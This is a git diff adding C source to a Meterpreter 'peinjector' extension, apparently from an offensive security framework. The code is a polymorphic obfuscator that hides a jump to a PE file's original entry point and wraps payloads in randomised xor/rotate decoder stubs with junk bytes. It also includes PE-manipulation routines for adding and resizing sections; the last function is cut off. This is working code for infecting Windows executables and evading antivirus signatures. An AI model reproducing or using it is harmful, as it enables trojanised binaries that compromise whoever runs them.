b/c/meterpreter/source/extensions/peinjector/libpeinfect_obfuscator.c new file mode 100755 index 00000000..abf2d9e7 --- /dev/null +++ b/c/meterpreter/source/extensions/peinjector/libpeinfect_obfuscator.c @@ -0,0 +1,699 @@ +/* + * \file libpeinfect_obfuscator.c + * \brief peinfect obfuscator sub-library + */ + +/* ToDo: additional Anti-Debugging */ + +#include "libpefile.h" +#include "libpeinfect_obfuscator.h" + +/* Shellcode type */ +typedef enum _SHELLCODE_TYPE { + TYPE_CMD = 0x01, // CMD type + TYPE_CALL = 0x02, // CAll type + TYPE_JMP = 0x03, // JMP type + TYPE_LOOP = 0x04, // LOOP type +} SHELLCODE_TYPE; + +/* Std OpCodes */ +typedef enum _OPCODE { + OP_JMP = '\xeb', // JMP opcode + OP_LOOP = '\xe2', // LOOP opcode + OP_CALL = '\xe8', // CALL opcode +} OPCODE; + +/* Shellcode Entry Holder */ +typedef struct _SHELLCODE_ENTRY { + unsigned char *code; // Shellcode to insert + size_t codesize; // Shellcode size + unsigned char *garbage; // Garbage to inert + size_t garbagesize; // Garbage size + size_t index; // Index of entry + size_t target; // Target entry (for jmp types) + SHELLCODE_TYPE type; // Entry type +} SHELLCODE_ENTRY; + +/* Shellcode */ +typedef struct _SHELLCODE { + SHELLCODE_ENTRY *entry; // Entrys + size_t entrys; // Entry counter + size_t total_size; // Total shellcode size + bool x64; // x64 Mode + bool fix_last; // don't shuffle last entry +} SHELLCODE; + +/* Generate garbage */ +static unsigned char* __peinfector_obfuscator_generate_garbage(SHELLCODE *shellcode, size_t *size) { + unsigned char *garbage = NULL; + switch (shellcode->x64 ? (2 + rand() % 3) : (rand() % 5)) { + /* Break alignment */ + case 0: + case 1: + *size = 4; + garbage = malloc(*size); + if (garbage == NULL) { + *size = 0; + return NULL; + } + memcpy(garbage, "\xeb\xff\xc0\x48", *size); + break; + + /* Random garbage */ + case 2: + *size = 3 + rand() % 6; + garbage = malloc(*size); + if (garbage == NULL) { + *size = 0; + return NULL; + } + garbage[0] = '\xeb'; + garbage[1] = (unsigned char) ((int) *size - (int) 2); + break; + + /* NOPs */ + case 3: + *size = 1 + rand() % 2; + garbage = malloc(*size); + if (garbage == NULL) { + *size = 0; + return NULL; + } + memset(garbage, '\x90', *size); + break; + + /* Nothing */ + default: + *size = 0; + garbage = NULL; + } + + return garbage; +} + +/* Shuffles array */ +static void __peinfector_obfuscator_shuffle(void *array, size_t n, size_t size) { + char *tmp; + tmp = malloc(size); + + char *arr = array; + size_t stride = size * sizeof(char); + + if (n > 1) { + size_t i; + for (i = 0; i < n - 1; ++i) { + size_t rnd = (size_t) rand(); + size_t j = i + rnd / (RAND_MAX / (n - i) + 1); + + memcpy(tmp, arr + j * stride, size); + memcpy(arr + j * stride, arr + i * stride, size); + memcpy(arr + i * stride, tmp, size); + } + } +} + +/* Generate new shellcode */ +static SHELLCODE* __peinfector_obfuscator_shellcode_new() { + SHELLCODE *shellcode = calloc(1, sizeof(SHELLCODE)); + + return shellcode; +} + +/* Sets x64 mode */ +static void __peinfector_obfuscator_shellcode_set_x64(SHELLCODE *shellcode, bool _x64) { + shellcode->x64 = _x64; +} + +/* Sets fix last mode (Doesn't shuffle last Entry) */ +static void __peinfector_obfuscator_shellcode_fix_last(SHELLCODE *shellcode, bool fix_last) { + shellcode->fix_last = fix_last; +} + +/* Generate new shellcode */ +static void __peinfector_obfuscator_shellcode_free(SHELLCODE *shellcode) { + size_t i = 0; + /* Free code and garbage */ + for (i = 0; i < shellcode->entrys; ++i) { + /* Free each code */ + if (shellcode->entry[i].code != 0) { + free(shellcode->entry[i].code); + } + /* Free each garbage */ + if (shellcode->entry[i].garbage != 0) { + free(shellcode->entry[i].garbage); + } + } + + /* Free holder*/ + free(shellcode->entry); + + /* Free shellcode container*/ + free(shellcode); +} + +/* Add shellcode entry */ +static int __peinfector_obfuscator_shellcode_add_entry(SHELLCODE *shellcode, char *code, size_t codesize, +bool add_garbage) { + SHELLCODE_ENTRY *entry = NULL; + + /* Add entry */ + shellcode->entry = realloc(shellcode->entry, (shellcode->entrys + 1) * sizeof(SHELLCODE_ENTRY)); + if (shellcode->entry == NULL) { + return -1; + } + memset(&shellcode->entry[shellcode->entrys], 0, sizeof(SHELLCODE_ENTRY)); + entry = (SHELLCODE_ENTRY*) &shellcode->entry[shellcode->entrys]; + + /* Set Entry */ + entry->index = shellcode->entrys; + entry->code = malloc(codesize); + entry->codesize = codesize; + entry->type = TYPE_CMD; + entry->target = shellcode->entrys + 1; + if (entry->code == NULL) { + return -1; + } + memcpy(entry->code, code, codesize); + + /* Add garbage */ + if (add_garbage) { + entry->garbage = __peinfector_obfuscator_generate_garbage(shellcode, &entry->garbagesize); + } + + /* Increase size */ + shellcode->total_size += entry->garbagesize + entry->codesize; + + /* Increase entry counter*/ + shellcode->entrys++; + + /* Return entry index */ + return shellcode->entrys - 1; +} + +/* Add shellcode jmp/loop/call */ +static int __peinfector_obfuscator_shellcode_add_generic_jmp(SHELLCODE *shellcode, SHELLCODE_TYPE type, + size_t size_correction, size_t target, bool add_garbage) { + SHELLCODE_ENTRY *entry = NULL; + + /* Add entry */ + shellcode->entry = realloc(shellcode->entry, (shellcode->entrys + 1) * sizeof(SHELLCODE_ENTRY)); + if (shellcode->entry == NULL) { + return -1; + } + memset(&shellcode->entry[shellcode->entrys], 0, sizeof(SHELLCODE_ENTRY)); + entry = (SHELLCODE_ENTRY*) &shellcode->entry[shellcode->entrys]; + + /* Set Entry */ + entry->index = shellcode->entrys; + entry->codesize = size_correction; + entry->target = target; + entry->type = type; + + /* Add garbage */ + if (add_garbage) { + entry->garbage = __peinfector_obfuscator_generate_garbage(shellcode, &entry->garbagesize); + } + + /* Increase size */ + shellcode->total_size += entry->garbagesize + entry->codesize; + + /* Increase entry counter*/ + shellcode->entrys++; + + /* Return entry index */ + return shellcode->entrys - 1; +} + +/* Add JMP Entry*/ +static int __peinfector_obfuscator_shellcode_add_jmp(SHELLCODE *shellcode, size_t target, bool add_garbage) { + + return __peinfector_obfuscator_shellcode_add_generic_jmp(shellcode, TYPE_JMP, 0, target, add_garbage); +} + +/* Add LOOP Entry*/ +static int __peinfector_obfuscator_shellcode_add_loop(SHELLCODE *shellcode, size_t target, bool add_garbage) { + + return __peinfector_obfuscator_shellcode_add_generic_jmp(shellcode, TYPE_LOOP, 2, target, add_garbage); +} + +/* Add CALL Entry*/ +static int __peinfector_obfuscator_shellcode_add_call(SHELLCODE *shellcode, size_t target, bool add_garbage) { + + return __peinfector_obfuscator_shellcode_add_generic_jmp(shellcode, TYPE_CALL, 3, target, add_garbage); +} + +/* get jmp position of entry */ +static int __peinfector_obfuscator_shellcode_get_jmp_pos(SHELLCODE *shellcode, int entry) { + size_t pos = 0; + size_t i = 0; + + if (entry == -1) { + return 0; + } + + /* Find position to insert JMP after shuffling */ + pos = 2; + for (i = 0; i < shellcode->entrys; ++i) { + pos += (shellcode->entry[i].garbagesize + shellcode->entry[i].codesize + 2); + if (shellcode->entry[i].index == entry) { + /* Correct position (CALL 5, LOOP 4, all other 2) */ + pos -= (shellcode->entry[i].type == TYPE_CALL) ? 5 : ((shellcode->entry[i].type == TYPE_LOOP) ? 4 : 2); + break; + } + } + + return pos; +} + +/* Calculates delta between 2 entrys (end entry 1 -> start entry 2) */ +static int __peinfector_obfuscator_shellcode_find_delta(SHELLCODE *shellcode, uint32_t size, int entry1, + int entry2) { + size_t i = 0; + size_t pos_1 = 0; + size_t pos_2 = 0; + + /* End of entry 1*/ + if (entry1 == -1) { + pos_1 = 2; + } else { + pos_1 = 2; + for (i = 0; i < shellcode->entrys; ++i) { + pos_1 += (shellcode->entry[i].garbagesize + shellcode->entry[i].codesize + 2); + if (shellcode->entry[i].index == entry1) { + break; + } + } + } + + /* Start of entry 2*/ + if ((entry2 == -1) || (entry2 == shellcode->entrys)) { + pos_2 = size; + } else { + pos_2 = 2; + for (i = 0; i < shellcode->entrys; ++i) { + if (shellcode->entry[i].index == entry2) { + break; + } + pos_2 += (shellcode->entry[i].garbagesize + shellcode->entry[i].codesize + 2); + } + } + + /* Return delta position */ + return pos_2 - pos_1; +} + +static void __peinfector_obfuscator_build_relative_jmp(unsigned char *shellcode, uint32_t pos, OPCODE opcode, + int jmp_delta) { + + shellcode[pos] = opcode; + + /* Relative target */ + if ((jmp_delta == 0) && (opcode != OP_LOOP)) { + /* NOP */ + if (opcode == OP_CALL) { + memset(&shellcode[pos], 0x90, 5); + } else { + memset(&shellcode[pos], 0x90, 2); + } + /* jmp forward */ + } else if (jmp_delta > 0) { + if (opcode == OP_LOOP) { + jmp_delta += 4; + } + shellcode[pos + 1] = (unsigned char) jmp_delta; + if (opcode == OP_CALL) { + memset(&shellcode[pos + 2], 0x00, 3); + } + /* jmp backward */ + } else { + if (opcode == OP_LOOP) { + jmp_delta += 4; + } + shellcode[pos + 1] = (unsigned char) ((int) 0xfe + (int) (jmp_delta + 2)); + if (opcode == OP_CALL) { + memset(&shellcode[pos + 2], 0xff, 3); + } + } +} + +/* Generates new randomized shellcode */ +static unsigned char* __peinfector_obfuscator_shellcode_generate(SHELLCODE *shellcode, size_t *size) { + int i = 0; + uint32_t pos = 0; + uint32_t jmp_pos = 0; + int jmp_delta = 0; + unsigned char *shellcode_buf = NULL; + + /* Shuffle entrys */ + __peinfector_obfuscator_shuffle(shellcode->entry, (shellcode->entrys - (shellcode->fix_last ? 1 : 0)), + sizeof(SHELLCODE_ENTRY)); + + /* Calculate size */ + *size = ((shellcode->entrys + 1) * 2) + shellcode->total_size; + + /* Allocate shellcode */ + shellcode_buf = malloc(*size); + if (shellcode_buf == NULL) { + return NULL; + } + + /* Jump to 0 entry */ + jmp_delta = __peinfector_obfuscator_shellcode_find_delta(shellcode, *size, -1, 0); + __peinfector_obfuscator_build_relative_jmp(shellcode_buf, 0, OP_JMP, jmp_delta); + pos = 2; + + /* Write shellcode, garbage and jmps */ + for (i = 0; i < (int) shellcode->entrys; ++i) { + /* Write payload data*/ + /* Write garbage */ + if (shellcode->entry[i].garbage != NULL) { + memcpy(shellcode_buf + pos, shellcode->entry[i].garbage, shellcode->entry[i].garbagesize); + } + pos += shellcode->entry[i].garbagesize; + + /* Write shellcode data */ + if (shellcode->entry[i].code != NULL) { + memcpy(shellcode_buf + pos, shellcode->entry[i].code, shellcode->entry[i].codesize); + } + pos += shellcode->entry[i].codesize + 2; + + /* Write jmps */ + /* Position of jmp cmd */ + jmp_pos = __peinfector_obfuscator_shellcode_get_jmp_pos(shellcode, shellcode->entry[i].index); + /* Difference to next entry */ + jmp_delta = __peinfector_obfuscator_shellcode_find_delta(shellcode, *size, shellcode->entry[i].index, + shellcode->entry[i].target); + + switch (shellcode->entry[i].type) { + case TYPE_CMD: + case TYPE_JMP: + __peinfector_obfuscator_build_relative_jmp(shellcode_buf, jmp_pos, OP_JMP, jmp_delta); + break; + case TYPE_LOOP: + __peinfector_obfuscator_build_relative_jmp(shellcode_buf, jmp_pos, OP_LOOP, jmp_delta - 2); + jmp_delta = __peinfector_obfuscator_shellcode_find_delta(shellcode, *size, shellcode->entry[i].index, + shellcode->entry[i].index + 1); + __peinfector_obfuscator_build_relative_jmp(shellcode_buf, jmp_pos + 2, OP_JMP, jmp_delta); + break; + case TYPE_CALL: + __peinfector_obfuscator_build_relative_jmp(shellcode_buf, jmp_pos, OP_CALL, jmp_delta); + break; + } + } + + /* Return result */ + return shellcode_buf; +} + +/* Random uint32 */ +static uint32_t __peinfect_obfuscator_random_uint32() { + uint32_t i, p; + p = rand(); + for (i = 0; i < 2; ++i) { + p <<= 16; + p |= rand(); + } + return p; +} + +/* Build XOR pair for value, 32 bit*/ +static void __peinfect_obfuscator_build_xor_pair_x86(uint32_t value, uint32_t *p1, uint32_t *p2) { + uint32_t i; + *p1 = rand(); + for (i = 0; i < 2; ++i) { + *p1 <<= 16; + *p1 |= rand(); + } + *p2 = value ^ *p1; +} + +/* Build XOR pair for value, 64 bit*/ +static void __peinfect_obfuscator_build_xor_pair_x64(uint64_t value, uint64_t *p1, uint64_t *p2) { + uint32_t i; + *p1 = rand(); + for (i = 0; i < 4; ++i) { + *p1 <<= 16; + *p1 |= rand(); + } + *p2 = value ^ *p1; +} + +unsigned char* peinfect_obfuscator_build_ep_jmp(PEFILE *pe, size_t *jmpsize) { + uint32_t ep_x86, p1_x86, p2_x86; + uint64_t ep_x64, p1_x64, p2_x64; + unsigned char *jmp_payload = NULL; + static bool add_garbage = true; + bool error = true; + char tmp[10] = { 0 }; + + /* Takes EntryPoint (ep) and generates an random value p1 and p2 = ep xor + * + * Then polymorphic engine creates obfuscated version of the following assembly. + * + * ASM: (x64: rax, rbx) (Could be done with less commands, but with more commands + * the polymorphic engine can create more variants) + * + * mov eax, p1 + * mov ebx, p2 + * xor eax, ebx + * xor ebx, ebx + * push eax + * xor eax + * retn + */ + + /* Shellcode obfuscator engine */ + SHELLCODE *shellcode = __peinfector_obfuscator_shellcode_new(); + if (shellcode == NULL) { + return NULL; + } + + /* Cruel solution, but keeps code clean */ + for (;;) { + /* Get entry point (VA, not RVA) and build hidden jmp */ + if (pe->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) { + ep_x86 = pe->optional_header_32.ImageBase + pe->optional_header_32.AddressOfEntryPoint; + /* Build XOR pair*/ + __peinfect_obfuscator_build_xor_pair_x86(ep_x86, &p1_x86, &p2_x86); + + /* Build return x86 */ + /* mov eax, p1*/ + tmp[0] = '\xb8'; + memcpy(tmp + 1, &p1_x86, sizeof(uint32_t)); + if (__peinfector_obfuscator_shellcode_add_entry(shellcode, tmp, 5, add_garbage) < 0) { + break; + } + + /* mov ebx, p2*/ + tmp[0] = '\xbb'; + memcpy(tmp + 1, &p2_x86, sizeof(uint32_t)); + if (__peinfector_obfuscator_shellcode_add_entry(shellcode, tmp, 5, add_garbage) < 0) { + break; + } + + /* xor eax, ebx*/ + if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x31\xd8", 2, add_garbage) < 0) { + break; + } + /* xor ebx, ebx*/ + if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x31\xdb", 2, add_garbage) < 0) { + break; + } + /* push eax*/ + if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x50", 1, add_garbage) < 0) { + break; + } + /* xor eax, eax*/ + if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x31\xc0", 2, add_garbage) < 0) { + break; + } + /* ret*/ + if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\xc3", 1, add_garbage) < 0) { + break; + } + + } else { + ep_x64 = pe->optional_header_64.ImageBase + pe->optional_header_64.AddressOfEntryPoint; + /* Build XOR pair*/ + __peinfect_obfuscator_build_xor_pair_x64(ep_x64, &p1_x64, &p2_x64); + + /* x64 Mode (Some garbage entrys are not allowed) */ + __peinfector_obfuscator_shellcode_set_x64(shellcode, true); + + /* Build return x64 */ + /* mov rax, p1*/ + tmp[0] = '\x48'; + tmp[1] = '\xb8'; + memcpy(tmp + 2, &p1_x64, sizeof(uint64_t)); + if (__peinfector_obfuscator_shellcode_add_entry(shellcode, tmp, 10, add_garbage) < 0) { + break; + } + + /* mov rbx, p2*/ + tmp[1] = '\xbb'; + memcpy(tmp + 2, &p2_x64, sizeof(uint64_t)); + if (__peinfector_obfuscator_shellcode_add_entry(shellcode, tmp, 10, add_garbage) < 0) { + break; + } + + /* xor rax, rbx*/ + if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x48\x31\xd8", 3, add_garbage) < 0) { + break; + } + /* xor rbx, rbx*/ + if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x48\x31\xdb", 3, add_garbage) < 0) { + break; + } + /* push rax*/ + if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x50", 1, add_garbage) < 0) { + break; + } + /* xor rax, rax*/ + if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\x48\x31\xc0", 3, add_garbage) < 0) { + break; + } + /* ret*/ + if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\xc3", 1, add_garbage) < 0) { + break; + } + } + + /* Everything ok */ + error = false; + break; + } + + /* Generate */ + if (!error) { + jmp_payload = __peinfector_obfuscator_shellcode_generate(shellcode, jmpsize); + } + + /* Free shellcode obfuscator engine */ + __peinfector_obfuscator_shellcode_free(shellcode); + + return jmp_payload; +} + +unsigned char* peinfect_obfuscator_encrypt_payload(unsigned char *payload, size_t payloadsize, size_t *decryptersize, +bool x64) { + bool add_garbage = false; /* temp. disable garbage insertion because of errors on x86 plattform */ + bool error = true; + size_t i = 0; + size_t totalsize = 0; + unsigned char *decrypter = NULL; + unsigned char *encrypted = NULL; + char tmp[10] = { 0 }; + int label_decode = 0; + int label_getaddr = 0; + /* Random keys (rnd1 = bit-shift, rnd2 = xor) */ + unsigned char rnd1 = (unsigned char) ((int) 1 + __peinfect_obfuscator_random_uint32() % 7); + unsigned char rnd2 = (unsigned char) ((int) 1 + __peinfect_obfuscator_random_uint32() % 255); + + /* + * x86/x64 produces the same code + * + * _start: + * jmp short encoded ; Load Address + * getaddr: + * pop ebx ; stores data + * mov ecx, xxxxxxxx ; shellcode size + * decode: + * ror byte ptr [ecx + ebx - 1], rnd ; Random Bit Rotate + * xor byte ptr [ecx + ebx - 1], rnd2 ; Random XOr + * loop short decode + * + * jmp ebx ; jmp to shellcode + * encoded: + * call getaddr + * ; Shellcode + * end _start + */ + + /* Shellcode obfuscator engine */ + SHELLCODE *shellcode = __peinfector_obfuscator_shellcode_new(); + if (shellcode == NULL) { + return NULL; + } + + /* x64 Mode (Some garbage entrys are not allowed) */ + __peinfector_obfuscator_shellcode_set_x64(shellcode, x64); + + /* Last command must be at last position */ + __peinfector_obfuscator_shellcode_fix_last(shellcode, true); + + for (;;) { + /* jmp encoded */ + if (__peinfector_obfuscator_shellcode_add_jmp(shellcode, 7, add_garbage) < 0) { + break; + } + /* getaddr: */ + /* pop ebx */ + if ((label_getaddr = __peinfector_obfuscator_shellcode_add_entry(shellcode, "\x5b", 1, add_garbage)) < 0) { + break; + } + /* set ecx, length */ + tmp[0] = '\xb9'; + memcpy(&tmp[1], &payloadsize, sizeof(uint32_t)); + if (__peinfector_obfuscator_shellcode_add_entry(shellcode, tmp, 5, add_garbage) < 0) { + break; + } + /* decode: */ + /* ror byte ptr [ecx + ebx - 1], rn1 */ + tmp[4] = rnd1; + memcpy(&tmp[0], "\xc0\x4c\x0b\xff", 4); + if ((label_decode = __peinfector_obfuscator_shellcode_add_entry(shellcode, tmp, 5, add_garbage)) < 0) { + break; + } + /* xor byte ptr [ecx + ebx - 1], rnd2 */ + tmp[4] = rnd2; + memcpy(&tmp[0], "\x80\x74\x19\xff", 4); + if (__peinfector_obfuscator_shellcode_add_entry(shellcode, tmp, 5, add_garbage) < 0) { + break; + } + /* loop decode */ + if (__peinfector_obfuscator_shellcode_add_loop(shellcode, label_decode, add_garbage) < 0) { + break; + } + /* jmp ebx */ + if (__peinfector_obfuscator_shellcode_add_entry(shellcode, "\xff\xe3", 2, add_garbage) < 0) { + break; + } + /* encoded: */ + /* call getaddr */ + if (__peinfector_obfuscator_shellcode_add_call(shellcode, label_getaddr, add_garbage) < 0) { + break; + } + + error = false; + break; + } + + /* Generate */ + if (!error) { + decrypter = __peinfector_obfuscator_shellcode_generate(shellcode, decryptersize); + } + + /* Free shellcode obfuscator engine */ + __peinfector_obfuscator_shellcode_free(shellcode); + + /* Add payload */ + if (decrypter != NULL) { + /* Add payload and encode */ + totalsize = *decryptersize + payloadsize; + encrypted = realloc(decrypter, *decryptersize + payloadsize); + if (encrypted == NULL) { + free(decrypter); + return NULL; + } + memcpy(encrypted + *decryptersize, payload, payloadsize); + + /* Encode */ + for (i = *decryptersize; i < totalsize; ++i) { + encrypted[i] ^= rnd2; + encrypted[i] = ((encrypted[i] << rnd1) | (encrypted[i] >> (8 - rnd1))) & 0xff; + } + *decryptersize = totalsize; + } + + return encrypted; +} diff --git a/c/meterpreter/source/extensions/peinjector/libpeinfect_obfuscator.h b/c/meterpreter/source/extensions/peinjector/libpeinfect_obfuscator.h new file mode 100755 index 00000000..10398dd2 --- /dev/null +++ b/c/meterpreter/source/extensions/peinjector/libpeinfect_obfuscator.h @@ -0,0 +1,34 @@ +/** + * \file libpeinfect_obfuscator.h + * \brief peinfect obfuscator sub-library + */ + +#ifndef LIBPEINFECT_OBFUSCATOR_H_ +#define LIBPEINFECT_OBFUSCATOR_H_ + +#include "libpeinfect.h" + +/** + * Build obfuscated jump to entry point (ep) + * + * \param pe PEFILE to build jump + * \param jumpsize Size of generated shellcode + * + * \return shellcode if success, NULL otherwise + */ +unsigned char* peinfect_obfuscator_build_ep_jmp(PEFILE *pe, size_t *jmpsize); + +/** + * Encodes payload and attaches obfuscated decoder stub + * + * \param payload Payload to encode + * \param payloadsize Size of payload + * \param encodedsize Size of generated shellcode + * \param x64 Enables x64 mode + * + * \return shellcode if success, NULL otherwise + */ +unsigned char* peinfect_obfuscator_encrypt_payload(unsigned char *payload, size_t payloadsize, size_t *encodedsize, + bool x64); + +#endif /* LIBPEINFECT_OBFUSCATOR_H_ */ diff --git a/c/meterpreter/source/extensions/peinjector/libpetool.c b/c/meterpreter/source/extensions/peinjector/libpetool.c new file mode 100755 index 00000000..1cf4b236 --- /dev/null +++ b/c/meterpreter/source/extensions/peinjector/libpetool.c @@ -0,0 +1,399 @@ +/* + * \file libpetool.c + * \brief Applies complex operations on a given PE FILE + */ + +#include +#include +#include "libpetool.h" + +/* Min/Max Macros */ +#define MIN(_a, _b) ((_a) < (_b) ? (_a) : (_b)) +#define MAX(_a, _b) ((_a) > (_b) ? (_a) : (_b)) + +/* Align value */ +static uint32_t __petool_align(uint32_t value, uint32_t alignment) { + return (value % alignment > 0) ? value + alignment - (value % alignment) : value; +} + +/* Adjusting values in the optional header */ +static void __petool_adjust_optional_header(PEFILE *out) { + size_t i = 0; + uint32_t size_of_code = 0; + uint32_t size_of_initialized_data = 0; + uint32_t size_of_uninitialized_data = 0; + bool is_32_bit = false; + uint32_t sizeofimage; + + /* Default values (PE COFF Specification) */ + size_t section_alignment = NT_SECTION_ALIGNMENT; + + /* Check if 32/64 bit header */ + if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) { + is_32_bit = true; + section_alignment = out->optional_header_32.SectionAlignment; + } else if (out->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC) { + is_32_bit = false; + section_alignment = out->optional_header_64.SectionAlignment; + } else { + + /* Nothing to adjust */ + return; + } + + /* Sum up over sections */ + for (i = 0; i < out->pe_header.NumberOfSections; ++i) { + if (out->section_header[i].Characteristics & IMAGE_SCN_CNT_CODE) { + size_of_code += out->section_header[i].Misc.VirtualSize; + } + if (out->section_header[i].Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA) { + size_of_initialized_data += out->section_header[i].Misc.VirtualSize; + } + if (out->section_header[i].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) { + size_of_uninitialized_data += out->section_header[i].Misc.VirtualSize; + } + } + + /* Align SizeOfImage to Section Alignment */ + sizeofimage = __petool_align( + out->section_header[out->pe_header.NumberOfSections - 1].VirtualAddress + + out->section_header[out->pe_header.NumberOfSections - 1].Misc.VirtualSize, section_alignment); + + /* Write new values into required fields */ + if (is_32_bit) { + out->optional_header_32.SizeOfImage = sizeofimage; + out->optional_header_32.SizeOfCode = size_of_code; + out->optional_header_32.SizeOfInitializedData = size_of_initialized_data; + out->optional_header_32.SizeOfUninitializedData = size_of_uninitialized_data; + } else { + + out->optional_header_64.SizeOfImage = sizeofimage; + out->optional_header_64.SizeOfCode = size_of_code; + out->optional_header_64.SizeOfInitializedData = size_of_initialized_data; + out->optional_header_64.SizeOfUninitializedData = size_of_uninitialized_data; + } + +} + +/* Increases the header padding with the given size */ +static bool __petool_increase_header_padding(size_t size, PEFILE *out) { + size_t i = 0; + unsigned char *new_header_padding = NULL; + size_t header_raw_end = out->dos_header.e_lfanew + sizeof(PE_HEADER) + out->pe_header.SizeOfOptionalHeader + + out->pe_header.NumberOfSections * sizeof(SECTION_HEADER); + + new_header_padding = realloc(out->header_padding.mem, out->header_padding.memsize + size); + /* Couldn't reallocate memory */ + if (new_header_padding == NULL) { + return false; + } + + /* No way to resize without damaging code execution */ + /* Sorry for this cruel if .. */ + if ((out->pe_header.NumberOfSections > 0) && (out->section_header != NULL) + && ((out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) + || (out->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC)) + && (header_raw_end + out->header_padding.memsize + size) > out->section_header[0].VirtualAddress) { + /* Reset header padding */ + out->header_padding.mem = realloc(new_header_padding, out->header_padding.memsize); + return false; + } + + /* Increase at head */ + memmove(new_header_padding + size, new_header_padding, out->header_padding.memsize); + memset(new_header_padding, 0, size); + out->header_padding.mem = new_header_padding; + out->header_padding.memsize += size; + + /* Fix SizeOfHeaders */ + if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) { + if (out->optional_header_32.SizeOfHeaders < (header_raw_end + out->header_padding.memsize)) { + out->optional_header_32.SizeOfHeaders = header_raw_end + out->header_padding.memsize; + } + } else if (out->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC) { + if (out->optional_header_64.SizeOfHeaders < (header_raw_end + out->header_padding.memsize)) { + out->optional_header_64.SizeOfHeaders = header_raw_end + out->header_padding.memsize; + } + } + + /* Fix section positions */ + if ((out->pe_header.NumberOfSections > 0) && (out->section_header != NULL)) { + for (i = 0; i < out->pe_header.NumberOfSections; ++i) { + out->section_header[i].PointerToRawData += size; + } + } + + /* Fix additional data positions */ + if ((out->additional_count > 0) && (out->additional_data != NULL)) { + for (i = 0; i < out->additional_count; ++i) { + out->additional_data[i].position += size; + } + } + + return true; +} + +bool petool_resize_section(size_t section_index, size_t new_raw_size, size_t new_virtual_size, bool header_only, + PEFILE *out) { + + uint32_t old_raw_size = 0; + uint32_t diff = 0; + bool shrink = false; + bool raw_change = false; + unsigned char *newmem = NULL; + int i = 0; + + /* Default values (PE COFF Specification) */ + size_t file_alignment = NT_FILE_ALIGNMENT; + + /* No Section Headers*/ + if (out->section_header == NULL) { + return false; + } + + /* Section Index out of bounds */ + if (out->pe_header.NumberOfSections <= section_index) { + return false; + } + + /* Virtual Size won't fit */ + if ((out->pe_header.NumberOfSections < (section_index + 1)) + && ((out->section_header[section_index].VirtualAddress + new_virtual_size) + > out->section_header[section_index + 1].VirtualAddress)) { + return false; + } + + /* Nothing to do */ + if (!(raw_change = (new_raw_size != out->section_header[section_index].SizeOfRawData)) + && out->section_header[section_index].Misc.VirtualSize == new_virtual_size) { + return true; + } + + /* Try to change raw size of section nested in another section, this won't work ... */ + if (raw_change) { + for (i = 0; i < out->pe_header.NumberOfSections; ++i) { + if ((section_index != i) + && (out->section_header[i].PointerToRawData <= out->section_header[section_index].PointerToRawData) + && ((out->section_header[i].PointerToRawData + out->section_header[i].SizeOfRawData) + >= (out->section_header[section_index].PointerToRawData + out->section_header[section_index].SizeOfRawData))) { + return false; + } + } + } + + /* New Virtual Size */ + out->section_header[section_index].Misc.VirtualSize = new_virtual_size; + + /* Only needed if RawSize was changed */ + if (raw_change) { + + /* Save old raw size*/ + old_raw_size = out->section_header[section_index].SizeOfRawData; + + /* Try to load specific alignments */ + /* x86 */ + if ((out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) + && (out->pe_header.SizeOfOptionalHeader >= offsetof(OPTIONAL_HEADER_32, MajorOperatingSystemVersion))) { + file_alignment = out->optional_header_32.FileAlignment; + + /* x64 */ + } else if (out->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC + && (out->pe_header.SizeOfOptionalHeader >= offsetof(OPTIONAL_HEADER_64, MajorOperatingSystemVersion))) { + file_alignment = out->optional_header_64.FileAlignment; + } + + /* Align new raw size */ + new_raw_size = __petool_align(new_raw_size, file_alignment); + + /* Set new RawSize */ + out->section_header[section_index].SizeOfRawData = new_raw_size; + + /* Get Size difference */ + if (new_raw_size > old_raw_size) { + diff = new_raw_size - old_raw_size; + shrink = false; + } else { + diff = old_raw_size - new_raw_size; + shrink = true; + } + + /* Fix section offsets*/ + for (i = 0; i < out->pe_header.NumberOfSections; ++i) { + if (out->section_header[i].PointerToRawData + >= (out->section_header[section_index].PointerToRawData + old_raw_size)) { + shrink ? (out->section_header[i].PointerToRawData -= diff) : (out->section_header[i].PointerToRawData += diff); + } + } + + /* Resize section memory */ + if (!header_only) { + if (out->section_data == NULL) { + return false; + } + + /* Try resize */ + newmem = realloc(out->section_data[section_index].mem, new_raw_size); + if (newmem == NULL) { + return false; + } + + /* Set new Memory */ + out->section_data[section_index].mem = newmem; + out->section_data[section_index].memsize = new_raw_size; + + /* Fix additional data positions */ + if ((out->additional_count > 0) && (out->additional_data != NULL)) { + for (i = 0; i < out->additional_count; ++i) { + if (out->additional_data[i].position + >= (out->section_header[section_index].PointerToRawData + old_raw_size)) { + shrink ? (out->additional_data[i].position -= diff) : (out->additional_data[i].position += diff); + } + } + } + } + } + + /* Adjust Optional Header*/ + __petool_adjust_optional_header(out); + + return true; +} + +bool petool_add_section(char *name, size_t namesize, size_t characteristics, unsigned char *mem, size_t memsize, +bool header_only, PEFILE *out) { + SECTION_HEADER *new_section_header = NULL; + DATA_BLOBC *new_section_data = NULL; + size_t i; + size_t last_section_rva = 0; + size_t last_section_virtualsize = 0; + size_t header_raw_end = out->dos_header.e_lfanew + sizeof(PE_HEADER) + out->pe_header.SizeOfOptionalHeader + + out->pe_header.NumberOfSections * sizeof(SECTION_HEADER); + + /* Default values (PE COFF Specification) */ + size_t section_alignment = NT_SECTION_ALIGNMENT; + size_t file_alignment = NT_FILE_ALIGNMENT; + 